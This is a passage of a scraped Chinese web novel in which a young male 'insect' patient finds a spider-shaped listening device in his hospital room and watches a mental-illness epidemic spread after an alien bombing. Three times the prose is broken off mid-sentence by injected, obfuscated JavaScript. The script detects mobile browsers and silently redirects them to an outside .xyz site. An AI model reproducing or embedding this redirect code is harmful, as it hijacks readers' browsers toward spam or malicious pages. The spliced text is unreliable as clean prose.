他难以判断斯诺发是凡亚的上级还是别的势力派来试探他的,但显然,他们并不知道凡亚将“X物质”喂给他的事,也不确定当时的具体情况以及“X物质”又到了哪里。 他现在无法和凡亚对口供,不知道凡亚会怎么解释这件事,因而刚刚只能将关键信息模糊,这样无论凡亚是据实以告还是另作打算都可以。 阿尔贝疲惫地躺在床上,应付斯诺发这位军部少将花费了他不少心神。他的身体还没有彻底恢复,现在放松下来不免感到困倦,便让智能助手将房间内的灯光减弱。 迷迷糊糊中,他仿佛感到凡亚又睡到了他的身边。 黑暗中,他问凡亚:“你这段时间还好吗?你的上级有审问你吗?” 他一连提了好几个问题,凡亚却只是沉默地躺在一旁不说话。 他心里着急,想要开灯,却只摸到一盏应急灯。 嗯?应急灯? 打开应急灯的瞬间,强烈的亮光爆发而出,阿尔贝已经适应黑暗的眼睛不由闭上。等他挣扎着再次睁开眼睛时,眼前的场景却又变了。 安静的楼道,他从楼上慢慢下去靠近门口,地上躺了一堆尸体,都朝天瞪着眼睛。 里面有虫在说话:“将X物质交出来!” 他双手紧握住枪,对着里边的虫开了一枪。 砰! 砰!砰! 砰! 阿尔贝在家中的床上惊醒。 和现实不一样的是,他刚刚梦见,剩下的那个雌虫没有死,反而在对着他开了一枪后,又一枪击中了凡亚! 血肉模糊! 整个梦中都是一片狰狞的红色,如同眼睛中灌满了鲜血。 阿尔贝的神经紧绷成结,梦中的情景现在回想依旧让他的双手止不住颤抖。 凡亚……他还好吗?阿尔贝心中抑制不住地难过,仿佛有无限悲痛。 突然!“轰嗡——”阿尔贝心中下意识一颤,是战机的声音! 轰炸又开始了! 巨大爆炸声离得那么近,很快轰炸过来了! 阿尔贝惊慌从家中跑出去,却发现外面的街上已经一片混乱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723240|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 无数虫都眼神惊恐地相互推攘拥挤在一起,上方战机飞过,丢下炸弹。 “嘭”!残肢乱飞,血浆爆开。 阿尔贝根本无法在这样的情况下,逃离这片危险区域。 “轰嗡——”战机从阿尔贝头上飞过,无情落下一枚炸弹。 “嘭”! 阿尔贝从梦中惊醒坐起,捂住胸口的伤大口呼吸。 他心有余悸地环顾四周,这回是在他住的病房里,房间里的灯光仍是睡前让智能助理调的助眠弱光。 阿尔贝额头上全是冷汗,半天才分辨清梦境与现实,在从混乱的梦境中彻底清醒过来后,他睡前的记忆终于全部回笼。深夜的病房比白天更加平静,超速的心跳反而变得突兀。 噩梦套着噩梦一层又一层,他睡了一觉反而感觉更累了。 在离开凡亚后,他闭上眼,眼前就总是闪过前几天的各种情景,轰鸣的战机声,巨大的轰炸声,还有无数虫被炸时的哀嚎声,如凡间炼狱,让他总是下意识悬着心,紧绷着神经。 这场战争来得突然,前一秒他和无数虫还身处和平,周围充满欢声笑语,下一秒残酷的战争就毫无预兆地降临,将街上笑意还未完全消散的虫炸了个稀巴烂。 在无数没有凡亚的梦中,他没有躲过轰炸。最后,一颗炸弹将他从惊恐的梦中炸醒。有时他又梦见之前他胸口中弹没有抢救过来,最后失血过多永远消亡在黑暗中。 而在刚刚第一个梦中,他甚至梦见凡亚也死了。 这并不是一个吉利的梦,让阿尔贝更加担心凡亚的处境。 阿尔贝端起床头柜上的水杯喝了几口水,温水入口的真实感让他稍稍镇静了一些。但端着水杯的手仍在不自觉地轻微颤抖,连同杯中的水也在晃动。 阿尔贝心不在焉地将杯子放回床头柜,却因为没注意而放偏了位置,杯子重心不稳就要倒。阿尔贝反应过来去抓也没来得及,刚好看着杯子在桌面转了一圈滚到了地上。 杯子里没喝完的水一部分洒在桌面和临近的被褥上,一部分洒到了地上,还好地上铺了厚厚的地毯,杯子落地没发出什么声响,也没有摔碎,只不过滚到了床底下。 阿尔贝从床上下来,半趴在地上看了一眼,杯子滚到了床底靠里边的位置,伸手还够不着。 阿尔贝抿了抿嘴,本来心里就因为那个糟糕的梦境而心烦,这下更烦躁了。 他环顾整个房间,也没看到任何可以用来探杯子的东西,索性打算直接上手把床抬开一截。 但这一上手,他就在床底内沿摸到了一个手感奇怪有些突兀的东西,不太像床的零件。刚从梦里醒来还不太清醒的他没有多想,下意识就把它扣出来对着灯光看是个什么东西。 圆圆的壳,黑色的,边缘好像还多出来好几根黑色的粗线……蜘蛛?! “呼!”阿尔贝头皮一麻,条件反射直接把手里的蜘蛛扔了出去。 蜘蛛是立刻丢出去了,但阿尔贝总感觉手上沾上了蜘蛛分泌的恶心黏液,蹙着眉快速抽出几张纸巾用力擦了擦,仍觉得手心还有蜘蛛爬过的触感,又在水龙头下反复清洗了好几遍,搓得手心都发红了。 从卫生间出来,阿尔贝的视线下意识瞟过刚刚扔出蜘蛛的地方。房间内的灯光不算明亮但足以照清每一处细节,浅色的地毯上黑色的机体分外突兀明显。阿尔贝没有料到,那只被甩飞的蜘蛛仍停留在落点,一动不动趴在地毯上。 正常这种小动物受惊后都会快速跑到角落躲起来,而这地上铺着厚厚的地毯,又不可能是刚刚把它摔晕了它才没有跑走。 阿尔贝盯着那只不起眼的黑色蜘蛛看了一会儿,垫着纸巾直接上手把它捏了起来放到眼前。 呵!阿尔贝冷笑,目光刚好和蜘蛛无机质感的冰冷眼珠对上。 14. 相遇克洛维尔星(十四) 阿尔贝弹了弹蜘蛛的眼珠,蜘蛛没有丝毫反应。这就是一只外表伪装得很好的机械卧底!还不是先进的那种,否则不会在被触碰后毫无反应。 阿尔贝凑近了用光脑自带的灯光照射蜘蛛的眼珠观察,并没有在其中发现疑似摄像的镜头。阿尔贝猜测,这可能只是伪装成蜘蛛的偷听器。他摸了摸机械蜘蛛的腹部,带着一点胶粘的感觉,应该就是被贴到了床底。 对于专业的虫,可能这种简单的卧底机械并不管用,很容易就会被发现,起不了什么大用。但是对于他这种没有经历过任何专业训练的普通中学生,绝对足够用了。 哪个高中生能想到自己有一天还会遇到这种影视剧里才看到过的事?他又没经过专业反间谍训练。 如果不是他一不小心把杯子打翻到床底,如果不是他觉得太晚了不想惊动医护工作员而打算纯靠自己把床搬开捡杯子,那他也不会发现自己每晚住的床底下还藏了这么个机械间谍装置。 关于把偷听装置安装在床底的虫,阿尔贝心中已经有了怀疑对象。实在是那个把军雌称呼为长官的讷斯护士太过可疑,他看着和别的护士并没有太大差别,但不经意间的言行在细思下,又透着几分怪异,而且他的工作岗位使他能悄无声息就轻松完成装置安装。 啧,一张张恭顺的面孔下都各怀鬼胎。 阿尔贝简直要气笑了,派虫来试探还不止,还要用这种偷听监视的手段。想想每日睡的床下还有另一双耳朵在偷听,就让他不寒而栗,颇有种现代鬼故事的感觉。 阿尔贝心中难以抑制地生出愤怒,虽然他未曾泄露出任何秘密,但被别的虫肆意监听窥视,仍让他厌恶至极。 这样的事情真够荒谬,他这样的普通中学生竟然值得这些虫费尽心思来打探。 他环顾房间四周,原本干净的病房现在犹如沾上了无数个隐形的眼睛,而“眼睛”背后的虫正满怀恶意紧盯着他不放,时刻关注着他的一举一动,试图从中窥探到他们想要的信息。 如果是前段时间发生这样的事,他只会觉得这些虫疯了,他的脑子里除了基础教育的知识外,毫无任何值得窥探的机密。但现在,这些试探的行为愈发让他怀疑,凡亚得到的那颗奇怪的“绿宝石”就是众多势力在寻找的X物质。 只有这样,这些诡异的行为才能得到合理解释。 阿尔贝对这样的行为咬牙切齿,但那些虫在暗他在明,内心愤怒过后,他不得不冷静下来,思考接下来该如何做才是最为有利的做法。 现在爆出间谍蜘蛛的事不一定就能查出究竟是谁安装在这的,即使查出那个胆大包天的虫是谁,恐怕那个虫也不会说出背后的势力。而轻率的举动只会让那些暗中窥视他的虫更加谨慎小心,他下次恐怕就不一定能像这次一样阴差阳错找到藏在身边的间谍装置。 一番思索后,阿尔贝将间谍蜘蛛放在一旁,照原本的计划把杯子从床底弄出来后,又把床恢复到原位,而那只“蜘蛛”也被他贴回到原本的位置,就好似一切都未曾发生过一样。 他把探听装置放回原位也是不想打草惊蛇,让隐藏在暗处的虫知道他已经发现了他们的窥探。就让他们以为他什么都不知道好了,他会配合他们的试探。等时间长了,他们才会在他这死心。 而这个间谍装置,可能是因为要藏在床底,并没有“视觉”,看不到他将装置从床底取出过。只能靠“听”的话,阿尔贝唯一要担心的事,是他在惊吓甩出“蜘蛛”时产生的碰撞杂音会引起监控这里的虫的怀疑。 阿尔贝理智上清楚这样的处理方式就是目前的最佳选择,但依旧压抑不住心里的不爽和烦躁。刚刚从噩梦中惊醒让他直到现在还感到头上的太阳穴跳个不停,紧接着又让他发现这种被别的虫肆意窥探的糟心事,让他的怒火排解不出去还又不断加压。 阿尔贝躺回床上,努力想要再度进入深度睡眠,但意识怎么也沉不到梦里。 他就这样清醒地闭着眼睛,就像意识被固定在了现实世界。不过,即使是这样,他闭上眼后都总感觉眼前的一片黑暗中不断迸发深红发黑的彩弹,如同黏稠的血液在他眼前炸开,让他感到恶心。 但时间还早,他总不能睁眼到天亮,只能忍受着眼前迸溅的红色图案,恍惚中感觉自己的神经也被这些图案不停拉扯着。也因此,他躺在柔软的床上,身体却紧绷着始终无法得到放松。 意识清醒却必须躺下入睡实在堪称煎熬,时间在这种时候也变得模糊,可能只过去五分钟,但却像是过了几个小时。 直到快要天亮前,疲惫的身体无法支撑意识继续清醒,他才在模模糊糊中陷入似睡非睡的状态中,勉强通过这种颇为折磨的睡眠得到精力补充。 好在病房的窗帘算比较厚实,忠诚地站岗,将清晨的阳光拦在窗外,没有让光亮破坏折腾了大半夜才好不容易得来的睡眠。 然而,厚实的窗帘可以拦住房间外的阳光,却拦不住“有心虫”。 阿尔贝在半梦半醒中听到“噔噔噔噔噔”的一连串敲门声,将他的意识从睡眠中拉扯到现实。 他紧闭着双眼躺在床上,脑子和身体像熬了一整晚一样疲惫,根本不想睁开眼,也不想理会敲门的虫,只等门外的虫得不到回应后识趣地自动离开。 “噔噔噔”“噔噔噔”“噔噔噔”……外面的虫像是丝毫意识不到房间里的阿尔贝不想理他,仍在坚持不懈地敲门。 阿尔贝蹙起眉头。他忍耐了半天,居然还在敲?! 现在不进来外面的世界是会大爆炸吗?!! 阿尔贝因噩梦、发现探听装置和失眠等一连串的事而憋了一晚上本来已经渐渐平息的恼火,被持续不停的敲门声添油加柴,再度死灰复燃。 哗地一下,火气就膨胀得窜了出来。 他睁开眼,眼珠因糟糕的睡眠而泛着红血丝,看起来阴沉暴躁。 他勉强压制住自己快要爆发的脾气,声音沙哑地问:“谁啊?要干什么?” 门外的虫听见回应后自己打开了门,露出讷斯护士的脸和放有早餐的推车。 讷斯护士的眼睛紧盯着阿尔贝,脸上带着笑容走进来:“阿尔贝阁下,到了该吃早饭的时候,我给您带了……” “滚!”阿尔贝闭着眼将床头放着的杯子朝门口砸了出去,“别打扰我睡觉。” 杯子没有砸到讷斯护士,中途滚落在地毯上,发出闷声。 讷斯护士像被惊到呆愣住一样,在原地没动,只盯着前方,过了片刻才好似如梦初醒般,似乎意识到自己的行为惹恼了雄虫阁下,状似惶恐地连忙退了出去:“是是,抱歉阁下,我这就出去。” 门被轻轻磕上了,讷斯护士推着推车的声音渐渐在楼道里远去。 阿尔贝又睁开眼,皱着眉头揉了揉自己额头上跳个不停的血管。 本来阿尔贝只是怀疑讷斯护士,现在基本可以确定讷斯就是有问题,床底那个监听装置也十有八九就是讷斯放的。 正常雌虫不会像讷斯刚刚那样,在一段时间内没有得到房内雄虫回应的情况下仍不停敲门。如果雄虫不在里边,敲门也没有任何意义。如果雄虫在里边却不理他,这样的行为只会惹恼雄虫。而讷斯的目的只是为了送个早餐,这就更加不合理了。 只可能是昨晚半夜阿尔贝甩飞机械蜘蛛造成的响动引起了讷斯的怀疑,才会在今天一大早就迫不及待赶来试探。一是试探阿尔贝到底有没有发现床底的探听装置,二是试探他自己有没有被怀疑。 阿尔贝打发走了讷斯护士,但是心里也不确定讷斯试探的结果是什么。是相信他自己和探听装置仍很安全?还是仍旧没有打消怀疑? 阿尔贝刚刚摔杯子的那一下,半是故意,半是发泄心中的恼火。这些心怀鬼胎的虫,烦得像不断在耳边绕来绕去的苍蝇,让他本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723241|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来就因为没睡好觉而发胀的头更加不舒服了。 他本来想在讷斯离开后继续补觉,但困意被刚刚打扰的那一下彻底打散,他闭上眼躺了半天,意识依旧清醒无比。无奈,他只能被迫起床。 阿尔贝拉开窗帘,病房里没有凡亚家中不能拉开窗帘的要求,阳光几乎毫无折损地洒入室内。 迈德在收到阿尔贝已经起来了的消息回复后,立马从他自己的病房过来,将许久没有晒太阳的阿尔贝一同拉了出去。 迈德拿出他祖辈们传下来的经验:“您的身体还在恢复期,这个时候最好能晒点太阳。” 阿尔贝无奈,任由迈德拉着他到医院的小花园里散步。 可能是他们出来的太早,小花园里几乎没什么虫。清风拂面,带着淡淡的紫娑花的香气。 明明只过了几天,战火的硝烟味就几乎散尽,平和美好如梦境,仿佛前些日子的战乱未曾发生过一样。可惜,战乱中死去的民众却再不会复生,也看不到中心城又恢复了往日安宁的样子,而迈德雌叔也无法再长出和原来一样的腿。 阿尔贝的视线不由悄悄划过迈德的腿部。 迈德走路的样子仍有些别扭,不过出来散步刚好可以锻炼他和机械腿的磨合度,用得多了,走路也就顺畅了,过不了多久就能和以前走得一样快了。 阿尔贝知道现在的机械义肢几乎可以完美替代原装,但迈德到底是失去了自己身体与生俱来的一部分,他还是不由担心迈德会接受不了。 迈德听了阿尔贝拐弯抹角的安慰,哈哈大笑:“雄子,您不会以为我这是第一次经历这样的事吧。”他将身上的几处器官位置指给阿尔贝看,“这些都是换过的。” “啵~”迈德把自己左手小拇指的一小节摘了下来,里面却不是血肉,而是金属连接器。 迈德介绍自己的机械小拇指:“当初花了我好几万安装的,用了好多年都依旧灵活。它还有照明功能,不过我基本没用过这个功能,总感觉手指发光太奇怪了。” 说着,迈德转了一下骨节,指尖就发出了光束。如果用来抠鼻屎,可以把整个鼻腔都照亮,让里边的鼻屎无所遁形。 嗯……是挺奇怪的。阿尔贝没想到一直照顾他的迈德雌叔身体机械化程度居然这么高。他默默把迈德的小拇指指节插了回去:“还是别摘下来了,这么小,容易弄丢。” 不过,阿尔贝奇怪:“迈德雌叔,你为什么会安装过这么多机械器官?” 在虫族,并不流行更换机械器官,一般都是原有器官不能用了才会更换。在阿尔贝的记忆里,迈德雌叔一直都是普通中年温和雌虫的形象,除了照顾他,还喜欢做针织类的小手工。他想不明白,究竟是什么原因,才让迈德雌叔更换了大半器官,总不能是被织毛衣针戳坏的吧? 迈德雌叔目露怀念:“因为我曾经是一名军雌。”他摸了摸阿尔贝的头发,“我以前是您雌父奈亚上校的手下,从进入军队就一直跟着他,只不过后来精神力稳定性不达标,才不得不退役。” 这还是阿尔贝第一次听说这件事,既惊讶于温和的迈德雌叔以前是军雌,也是没想到迈德雌叔曾是他雌父的手下。 阿尔贝正好有关于军队的问题找不到虫解答:“迈德雌叔,如果我想在军队找一个雌虫,但只知道他的名字,我应该去问哪个部门?” “嗯?您想找谁?”迈德想不到阿尔贝还认识哪个军雌,“是您的哪个亲戚吗?” 阿尔贝:“是这次遇到的一个军雌。” 迈德不知道阿尔贝找那个军雌要干什么,只不过,他说:“如果您和他没有任何亲缘关系,且您只知道他的名字,那么除非他主动出现在您的面前,否则恐怕很难找到他。” 阿尔贝心中一沉,追问:“为什么?难道没有什么办法?即使我是雄虫也不行吗?”他从没有比现在更希望雄虫的特殊身份能够发挥些作用。 15. 相遇克洛维尔星(十五) 迈德解释:“首先,得是军部一定级别以上的虫才有权利在系统内查询全部军雌的信息。其次,军雌的数量庞大,同名的军雌更是数不胜数,即使能查询,在只有一个名字的情况下,搜索出的结果可能有十几万个。” 阿尔贝一时陷入思考。他从迈德的话中意识到,并非不能在茫茫军雌中找到凡亚,而是有两个难关要过。 一是要找到可靠的高级别军雌帮他在军部系统里检索军雌的信息,二是筛选查询出的结果他只能靠自己一一排除,这就要花费大量的时间。 不过好在寻找凡亚并不是什么今天不做明天就做不了的事,他有充裕的时间去做这件事。 “那……”阿尔贝刚要继续问,就发现迈德的脸色不对,“迈德雌叔,你怎么了?不舒服吗?” 明明刚刚迈德看起来海精神不错的样子,现在却眉头蹙起,脸色发白。他紧咬着嘴唇,似乎在对抗难以忍受的疼痛,甚至身体都晃了一下。阿尔贝连忙扶助他的胳膊,却发现迈德的身体在不停打颤。 短短不到一分钟,迈德的额头上就满是细细密密的冷汗,他说不出话来,只能微微摇头,颤抖着腿想往回走,身体却无力,全靠阿尔贝支撑才不至于倒下。 阿尔贝不知道迈德这是怎么了,但也看得出情况不太妙。他勉强能撑住迈德的身体,却根本不可能把迈德背回去,只能先让迈德坐下,他跑回去找医护过来。 很快医护就过来把迈德抬走了,阿尔贝跟在后边把他送去急救。 阿尔贝原本以为是迈德新安装的机械义肢出了问题,没想到医生简单检查后却将迈德送到了精神科救治。他不由回想起,刚刚迈德雌叔说当年被迫退役就是因为精神力的问题! 是老毛病复发?可刚刚他们只是在逛花园,迈德雌叔并没有受到任何刺激。为什么前些日子没事,反而现在安稳下来却出了事? 阿尔贝心中焦急,却也只能等在外边。 他是雄虫,往那一站就自然有雌虫自觉给他让座。被雌虫搭话的时候,他才猛然发现,精神科的病患怎么比在战乱中受伤送诊的虫还多? 这里大厅和楼道里所有座位都坐得满满当当,还有不少病患和家属只能坐在地上或站在墙边。甚至床位都不够,许多病患只能躺在楼道里加设的病床上。 这,正常吗? 阿尔贝拒绝了雌虫的让座,忍不住拦住路过的护士:“你们这平时也这么多病患吗?” 护士正忙得焦头烂额,被虫拽住下意识想要发火,但看清阿尔贝脖子上的雄虫虫纹后立刻露出了一抹标准笑容,耐心回答雄虫阁下的问题:“并没有,我们医院的精神力治疗并不是专长,平时最多住满一半。” 阿尔贝皱眉,连不擅长精神力治疗的医院的病患都这么多,看来其他医院的情况可能也好不到哪去。 他又问:“他们是前些日子积攒下来的?还是因为战争原因受到刺激才诱发的?” 护士也不知道,他其实对此也有些不解:“说来也奇怪,按理说前些日子应该是入院高峰期,但昨天晚上开始才突然有大量病患来就诊……” 阿尔贝看得出精神科现在真的很忙,没有再多问什么就让护士离开了,只是他心里的疑惑却更重了。 不知道是不是他多想,他总感觉这么多雌虫精神力出问题不太正常。其实,细想下来,这次外族的攻击模式就有点不太对劲。 虽然远控战机的轰炸造成了大量普通民众伤亡,但其实在高科技武器快速发展的今天,这样的手段堪称温和,根本不算什么大面积杀伤武器。 当然也可能是克洛维尔星驻扎军队将大面积杀伤武器拦截在了星球外,可战争持续了这么多天,虫族处于弱势,不可能完全严防死守到一点都进不来。 虽然阿尔贝根据凡亚的话猜测外族入侵克洛维尔星极有可能是为了X物质,但外族难道真的会白白浪费这次机会而不顺便做点什么吗? 阿尔贝靠在墙边,看着形色匆忙的医护进进出出,周围病患和家属们脸上尽是愁容,一时脑中思绪纷乱。 他叹了口气,即使这么多虫精神力出问题是外族的阴谋,可他又能做什么呢?在战争的混乱局势下,他单靠自己甚至都无法确保能安全存活。他就像一粒沙砾,被飓风席卷,只能随风盘旋,毫无招架。 在外边等了一段时间后,迈德昏睡着被就从治疗室里被推了出来。因为精神科床位紧张,他还是被推回之前住院科室的病房。 这还是阿尔贝第一次进雌虫病房。和雄虫的豪华单间不同,这里大多是三个床位共用一间房。房间小,床位也狭窄,也就刚够雌虫仰面躺下。 病房里其他两张床位也住了病患,都有家属在一旁陪同。他们看到雄虫阁下出现在雌虫病房,都瞪大了眼睛,连忙起身给阿尔贝让出过道和陪护的空间。 之前因为迈德没有家属陪护,病床旁陪护的位置就被另一床病患的家属占据用来放东西,现在看阿尔贝来了,立刻就把杂物移走,满头是汗地和阿尔贝道歉。 阿尔贝瞥了诚惶诚恐的雌虫家属一眼,压低声音:“嘘!不要吵到睡着的虫。” 那个雌虫赶紧点头,甚至怕他在这里待着会惹到雄虫阁下不快而躲到了病房外。 迈德被注射了镇定药剂,现在正在熟睡。他的脸色有了些血色,嘴唇却还是苍白,甚至上面还带着之前忍痛时咬出的暗色血痕。 和雄虫不同,雌虫到了公立医院虽然可以得到救治,但很难得到医护细心的照顾。迈德刚刚因疼痛而出了一脑门汗,现在神色舒缓下来,额头上的冷汗却还在。 阿尔贝抽了几张纸巾,动作轻柔地帮迈德擦去头上的汗,以免他睡得不舒服。从前都是迈德这样照顾他,现在他也想尽可能多照顾迈德雌叔一些。 迈德这一觉睡得很长,直到天色都彻底黑了他才悠悠转醒。他睁开眼,就看见了坐在旁边的阿尔贝,惊讶地立刻坐了起来:“雄子,您怎么在这?” 阿尔贝关了光脑上写了一多半的调研报告,朝迈德笑了笑:“我把你送过来当然要看着你醒了我才放心,正好这段时间还可以把学校布置的调研报告完成一部分。迈德雌叔,你现在感觉怎么样?” 迈德暖心不已,但是又不由发愁阿尔贝的作业:“我还好,您的文化调研报告怎么办?咱们刚到克洛维尔星就遇到战乱。要不等您可以出院了,我陪您再看看繁花市集还开不开?” 阿尔贝现在对繁花市集都有点阴影了,他安抚迈德:“没关系,我把文化调研报告改成了战争体验调研报告,亲身经历,更有可写性。倒是你,现在要好好休息,不要操心我的事情了。” 迈德:“雄子,我这个算老毛病了,看着可怕,但其实没什么大事的。” 阿尔贝却知道迈德报喜不报忧的性格,这么说大概是不想让他担心。他抿了抿嘴:“你当时看起来很难受,疼得都说不出话了。你每次犯病都这么痛苦吗?” 迈德无奈地笑笑:“雌虫么,上了年纪都要经历这样的痛苦,除非有雄主给舒缓精神海。只不过对于军雌,这一天来得稍早了些,习惯了倒也还好。”他又说,“其实从退役以来,我很少这样严重了。这次也不知道是不是因为环境的刺激,才会这样。” 阿尔贝心知,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723242|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全是战争的刺激,很有可能还有外族的阴谋。他问:“那医院没有什么有效的治疗方法吗?起码让你稍微好过一点。” 迈德从旁边拿出几盒药给阿尔贝:“当然有,这些药就是用于帮助精神力稳定的,我每天都在服用,只不过都是治标不治本。” 阿尔贝这才知道原来迈德每天都要服用这么多药,他还一直以为迈德雌叔身体很健康没什么病痛。 但这又让他觉得很奇怪:“现在科技都这么发达了,怎么还不能彻底解决雌虫的精神力问题?” 迈德轻笑几声:“雄子,其实现在已经好很多了,我雌父那辈连这些药都没有,精神力动乱发作的时候也纯靠自己硬挺着。现在能有这些治疗手段,还多亏了近些年越来越多的雄虫阁下们投身于精神力研究工作,才让精神力治疗有了不小进展。” 迈德解释:“您可能不清楚,精神力治疗的研究比别的研究更艰难。雌虫和雄虫精神力有很大不同,雌虫研究员因此受到很大限制,而愿意投身于此的雄虫阁下也不多。加上又很少有雄虫阁下愿意做被研究的对象,进展自然就慢了许多。” 他感慨:“不过精神力治疗一直在进步,或许下一代雌虫就能有更好的治疗方法。” 阿尔贝抿了抿嘴,他知道精神力动乱一定很痛苦,更别说精神力稳定性差到一定程度后的精神力崩溃,那是许多雌虫无法接受的后果,不然也不可能有雌虫宁愿被乔特德鞭打折磨也要给乔特德做雌侍,图得就是那一点点来自雄主屈指可数的精神力抚慰。 他说不出心里是个什么滋味。他虽然是雄虫,看似是一切的既得利益者,可他也不单单是雄虫。他还是雌虫的孩子,雌虫的兄弟,雌虫的亲朋,将来还有可能是雌虫的雄主,雌虫的雄父。 雄虫的处境并不能完全和雌虫割裂开来,他们相互牵扯,相互有着或深或浅的羁绊。他作为雄虫,并不能将雌虫的苦难彻底与他自己隔绝开来。 阿尔贝看着迈德雌叔忍受的痛苦,不由想到自己早死的雌父、失踪的雌兄、救了他却不见踪影的凡亚,还有许许多多和他有着交集的雌虫。他们或许也经历过、或许正在经历、或许将来会经历和迈德雌叔相似的痛苦,隐忍着精神力动乱带来的伤害。 这让他如何能不为之忧心。 迈德拍了拍阿尔贝的手,让阿尔贝不要过于忧虑他的病情。 阿尔贝心里有些沉重,但还是笑着点了点头。 既然迈德雌叔醒了,他也没有什么留在这的必要,不然迈德雌叔可能还要费心留意照顾他。他让迈德好好休息,就回到自己的病房。 经过这一天的折腾,让本就因睡眠不足而头疼的阿尔贝更加心力交瘁,疲惫感催促着他早早就关灯睡觉。 安静的雄虫病房提供了睡眠的良好环境,他的意识慢慢沉入梦中,深度睡眠让他的身体从困倦中慢慢恢复。 然而半夜的时候,正常的梦境猝不及防间突然惊变,阿尔贝猛地睁开眼从床上弹起,大口喘着气。他再一次从梦中惊醒,心脏砰砰砰在胸腔里撞个不停。 噩梦像在他的梦里生了根,晚上无论他前面梦到什么,都总在猝不及防的时候突然跳转到战乱的场景。意识到刚刚的场景都是做梦后,他松了口气倒回床上,心跳速度却还没恢复正常。 他拿过床头的光脑一看,还不到凌晨三点。刚刚的噩梦情景仍犹在眼前,阿尔贝短时间内是不敢再闭眼睡觉,只好玩光脑打发时间。 凌晨的网络上不像现实中那么寂静,一条新闻在深夜攀上了热搜,且热度越来越高。 “【爆】克洛维尔星疑似精神力病毒肆虐” 16. 相遇克洛维尔星(十六) 精神力病毒肆虐……尽管之前已经有了心理准备,但阿尔贝看到这条热度以分秒暴涨的新闻时还是不由得心头一跳。 他心中生出一种果然会如此的感觉,就像听到一只靴子的落地声后就时刻预备着听到另一只靴子的落地声,而现在终于爆发出来了。 阿尔贝冷静地点开新闻,上面果然报道了克洛维尔星发生大规模雌虫精神力动乱的情况,并在文章结尾隐晦提到这一现象可能与前些日子的外族入侵有关。 他继续向下翻评论: 【太可怕了!谁懂啊,我一看到精神力动乱几个字就想到那种刻骨铭心的疼痛感,手一颤差点把手里的光脑甩飞】 【这是阴谋论吧?有没有克洛维尔星的虫现身说法一下?】 【呜呜呜我雌叔就在克洛维尔星,今天刚因为精神力问题被送到医院,结果医院爆满连床位都没有】 【坐标克洛维尔星中心城,我雌兄精神力也出问题了】 【我现在就躺在中心城医院的精神科过道上,我作证,这回的外族轰炸不对劲!】 【我也觉得自从被外族轰炸受伤后精神力就不太舒服】 …… 底下还有数不清的评论,每一条都有许多点赞,而新的评论还在不断产生,将这条新闻的热度越顶越高。 阿尔贝翻看了数条不同雌虫发的动态后就把光脑关了。 结合新闻中的报道和众多亲历者的叙述,他对这场“精神力病毒”的传播方式有了几个猜测。 第一种猜测是爆炸时扩散在空气中的物质对虫族精神力有危害,在被吸入后可能诱发雌虫精神力动荡不稳。第二种猜测则是该种物质是从血液中进入体内的,也就是说只有爆炸中受伤的虫才会出现问题。当然也有可能是别的方式引发的精神力不稳,不过目前可知这种作用具有延时性,在数天后才爆发。 如果是第一种传播方式,那么危害范围会更大,但由于呼吸入体内的剂量不同,引发的症状严重程度应该也不同,那么就并非所有雌虫的症状都严重,甚至应该有部分精神力稳定的雌虫呈现无症状。 而如果是第二种传播方式,受害者应该会相对较少,但症状则都会比较严重。 阿尔贝想起迈德雌叔,他就是在这场战乱中受伤失去了一条腿,因而在今早突然引发了严重的精神力旧疾。 阿尔贝仍能想起当时迈德雌叔的惨状,几乎是丧失了行动能力,在被紧急救治后更是昏睡了数小时后才清醒,这对于身体素质极强的雌虫来说,已经是极为严重的病情。 阿尔贝不由又担心起凡亚。之前外族轰炸的时候,凡亚将他护在身下,自己的脊背却被炸得血肉模糊。如果这种“精神力病毒”是通过伤口感染,那么凡亚现在的精神力状况也好不到哪去。 而凡亚没能交出X物质以完成任务,也不知道他的上级是否会惩处他。在这样的情况下,阿尔贝很难不去忧心凡亚是否能得到很好的治疗。 阿尔贝叹了口气,也不知道凡亚为什么不来找他,就那么突然离开再不见踪影,连句话都没有留下。 或许凡亚是忙于别的事无暇分身,或许凡亚也有不得已的苦衷。 也或许是他最不愿意去想的那种情况,他对于凡亚而言可能只是一个过客并不重要,凡亚对他仅有雌虫对雄虫的责任心,所以才在将他送到安全区域后再没有出现在他的面前。 但无论是什么原因,他都想要找到凡亚,想要再见他一面,正式向他道谢,也尽他所能给予凡亚应有的报答。 阿尔贝将光脑放在枕边,调暗了灯光,缓缓躺倒在床上,闭上了眼睛。 今晚的剩余时间可能依旧是无眠夜,但他在心中会默默为迈德雌父和凡亚祈愿,希望他们能一切安好。 